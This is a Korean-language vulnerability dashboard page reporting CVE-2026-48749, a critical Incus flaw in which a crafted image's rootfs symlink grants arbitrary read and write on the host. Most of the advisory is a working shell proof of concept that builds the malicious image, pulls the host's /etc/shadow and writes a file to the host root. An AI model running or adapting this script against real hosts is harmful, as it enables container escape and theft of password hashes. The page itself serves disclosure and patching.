Kestrel
대시보드로 돌아가기
CVE-2026-48749CRITICAL· 9.9GHSA대응게시일: 2026. 06. 26.수정일: 2026. 06. 26.

Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical
CVSS
9.9critical

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.19.9CRITICAL
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

상세 설명

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.

text
1metadata.yaml
2rootfs/
3rootfs -> /

In practice, this allows a malicious actor to access the host's filesystem with root privileges.

PoC

Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.

bash
1#!/bin/sh
2set -eu
3
4tmpdir=$(mktemp -d)
5cleanup() {
6 rm -rf "${tmpdir}"
7}
8trap cleanup EXIT INT QUIT TERM HUP
9
10mkdir -p "${tmpdir}/img/rootfs"
11cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
12architecture: x86_64
13creation_date: 1
14properties:
15 description: PoC rootfs symlink host afrw
16__EOF__
17
18cd "${tmpdir}/img"
19tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
20
21# inject rootfs symlink
22rmdir rootfs
23ln -s / rootfs
24tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
25
26
27incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
28incus init afrw-rootfs-symlink afrw-rootfs-symlink
29
30
31# read
32incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
33cat "${tmpdir}/shadow"
34
35# write
36printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
37incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.